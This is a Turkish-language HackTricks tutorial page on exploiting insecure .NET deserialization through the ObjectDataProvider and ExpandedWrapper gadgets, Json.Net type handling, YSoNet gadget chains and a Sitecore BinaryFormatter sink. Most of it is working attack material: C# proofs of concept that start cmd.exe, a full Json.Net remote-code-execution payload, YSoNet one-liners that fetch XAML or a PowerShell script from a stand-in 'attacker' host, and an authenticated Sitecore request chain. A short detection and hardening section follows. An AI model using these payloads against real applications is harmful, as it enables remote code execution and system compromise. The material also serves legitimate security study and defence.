Temel .Net deserializasyonu (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu yazı, ObjectDataProvider gadget'ının nasıl suistimal edilerek RCE elde edildiğini ve bu gadget ile Json.Net ve xmlSerializer gibi Serialization kütüphanelerinin nasıl kötüye kullanılabileceğini anlamaya yöneliktir.
ObjectDataProvider Gadget
Dokümantasyona göre: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Evet, tuhaf bir açıklama; öyleyse bu sınıfın neden bu kadar ilginç olduğunu görelim: Bu sınıf, herhangi bir nesneyi sarmalayıp, MethodParameters kullanarak herhangi parametreleri ayarlamaya, ve sonra MethodName ile belirtilen herhangi bir nesnenin herhangi bir fonksiyonunu bu parametrelerle çağırmaya izin verir.
Dolayısıyla, serileştirme sırasında herhangi bir nesne, parametrelerle birlikte bir fonksiyonu çalıştıracaktır.
Bu nasıl mümkün oluyor
ObjectDataProvider, C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
içindeki PresentationFramework.dll içinde tanımlanmış ve uygulanmış olup, System.Windows.Data ad alanında bulunur.
dnSpy kullanarak ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki resimde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name bölümünün kodunu görüyoruz:
Gördüğünüz gibi MethodName
ayarlandığında base.Refresh()
çağrılıyor, bunun ne yaptığını görelim:
Tamam, şimdi this.BeginQuery()
'nin ne yaptığını görelim. BeginQuery
, ObjectDataProvider tarafından override edilmiş ve şöyle çalışıyor:
Kodun sonunda this.QueryWorke(null)
çağrıldığını unutmayın. Bunun ne çalıştırdığını görelim:
Bu, QueryWorker
fonksiyonunun tamamı değil ama ilginç kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex);
çağrısını yapıyor; burası ayarlanan metodun çağrıldığı satırdır.
Eğer sadece MethodName ayarlayarak çalıştırılacağını kontrol etmek isterseniz, şu kodu çalıştırabilirsiniz:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Önceki exploit'i kullanırken bazı durumlarda object bir ObjectDataProvider örneği olarak deserialized as edilecektir (örneğin DotNetNuke vuln'da, XmlSerializer kullanılarak, object GetType
ile deserialized edilmiştir). Bu durumda ObjectDataProvider örneğinin içinde sarılı olan object türü hakkında hiçbir bilgiye sahip olmayacağız (örneğin Process
). DotNetNuke vuln hakkında daha fazla bilgiyi buradan bulabilirsiniz.
Bu sınıf, belirli bir örnek içinde kapsüllenmiş olan nesnelerin türlerini specify etmenize olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (ObjectDataProvider) yeni bir nesne türü içine sarmak ve ihtiyacımız olan özellikleri sağlamak için kullanılabilir (ObjectDataProvider.MethodName ve ObjectDataProvider.MethodParameters).
Bu, daha önce belirtilen durumlar için çok kullanışlıdır, çünkü bir wrap _ObjectDataProvider** öğesini bir **ExpandedWrapper _ örneği içinde sarabileceğiz ve when deserialized olduğunda bu sınıf OjectDataProvider nesnesini create edecek ve MethodName içinde belirtilen function'ı execute edecektir.
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
official web page üzerinde, bu kütüphanenin Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer sağladığı belirtiliyor. Bu yüzden, eğer deserialize the ObjectDataProvider gadget yapabilseydik, sadece bir nesneyi deserialize ederek bir RCE tetikleyebilirdik.
Json.Net örneği
Öncelikle, bu kütüphaneyi kullanarak bir nesnenin nasıl serialize/deserialize edileceğine dair bir örneğe bakalım:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net'i Kötüye Kullanma
ysoserial.net kullanarak exploit'i oluşturdum:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Bu kod ile test the exploit yapabilirsiniz, sadece çalıştırın ve calc'in çalıştırıldığını göreceksiniz:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
ObjectDataProvider + ExpandedWrapper tekniği yukarıda tanıtılan birçok gadget zincirinden yalnızca biridir; bir uygulama güvensiz .NET deserialization yaptığında kötüye kullanılabilecek ÇOK sayıda zincir vardır. Modern red-team araçları, örneğin YSoNet (ve daha eski olan ysoserial.net), onlarca gadget ve serileştirme formatı için kullanıma hazır kötü amaçlı nesne grafikleri oluşturmayı otomatikleştirir.
Aşağıda YSoNet ile gelen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı, nasıl çalıştıklarına kısa açıklamalar ve payload üretme örnek komutları yer almaktadır.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder kaydını bozar; nesne örneklendiğinde delegate saldırganın sağladığı herhangi bir metoda işaret eder (ör. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector kötüye kullanılarak .NET ≥4.8 tip-filtrelemesi atlanır ve sağlanan bir sınıfın constructor'ı doğrudan çağrılabilir veya bir C# dosyası anında derlenebilir | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet 'in eski XML temsili kullanılarak <ColumnMapping> / <DataType> alanları doldurulup rastgele tipler örneklenir (isteğe bağlı olarak --spoofedAssembly ile assembly sahteleyebilirsiniz) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF etkin runtime'larda (> .NET 5) property getter'ları zincirleyip System.CodeDom.Compiler.CompilerResults 'a ulaşır, ardından verilen DLL'i -c ile derler veya yükler | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | WPF System.Windows.Data.ObjectDataProvider kullanarak kontrol edilen argümanlarla rasgele bir static metodu çağırır. YSoNet, kötü amaçlı XAML'i uzaktan barındırmak için kullanışlı bir --xamlurl varyantı ekler | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | ScriptBlock 'u System.Management.Automation.PSObject içine gömer; PowerShell nesneyi deserileştirdiğinde çalıştırılır | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Tüm payload'lar varsayılan olarak stdout'a yazılır, bu sayede onları diğer araçlara (ör. ViewState generator'ları, base64 encoder'lar, HTTP client'lar) pipe etmek çok kolaydır.
YSoNet'i Derleme / Kurma
Eğer Actions ➜ Artifacts / Releases altında ön-derlenmiş ikili dosyalar yoksa, aşağıdaki PowerShell tek satırı bir build ortamı kuracak, repository'yi klonlayacak ve her şeyi Release modunda derleyecektir:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
Tespit ve Sertleştirme
- Tespit edin kullanıcı tarafından sağlanan veriyi deserialize eden
w3wp.exe
,PowerShell.exe
veya herhangi bir sürecin beklenmeyen alt süreçlerini (ör.MessagePack
,Json.NET
). - Kaldırılamayan eski
BinaryFormatter
/NetDataContractSerializer
durumlarında her zaman type-filtering'i (TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) etkinleştirin ve zorunlu kılın. - Mümkünse whitelist-tabancalı dönüştürücülerle
System.Text.Json
veyaDataContractJsonSerializer
'a geçin. - Hiçbir şekilde ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF assembly'lerinin (
PresentationFramework
,System.Workflow.*
) yüklenmesini engelleyin.
Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
new BinaryFormatter().Deserialize(...)
'u çağırır. - Tetikleme yolu: pipeline
convertToRuntimeHtml
→ConvertWebControls
, buid="{iframeId}_inner"
olan bir kardeş öğe arar ve base64‐encoded serileştirilmiş veri olarak değerlendirilen birvalue
özniteliğini okur. Sonuç string'e dönüştürülür ve HTML'e eklenir.
Minimal end‑to‑end (authenticated):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: deserialization sırasında yan etkileri çalıştıran ve bir string döndüren herhangi bir BinaryFormatter zinciri. Payloads oluşturmak için YSoNet/ysoserial.net'e bakın.
Sitecore'da HTML cache poisoning ile pre‑auth başlayan ve bu sink'e yol açan tam zincir için:
Referanslar
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.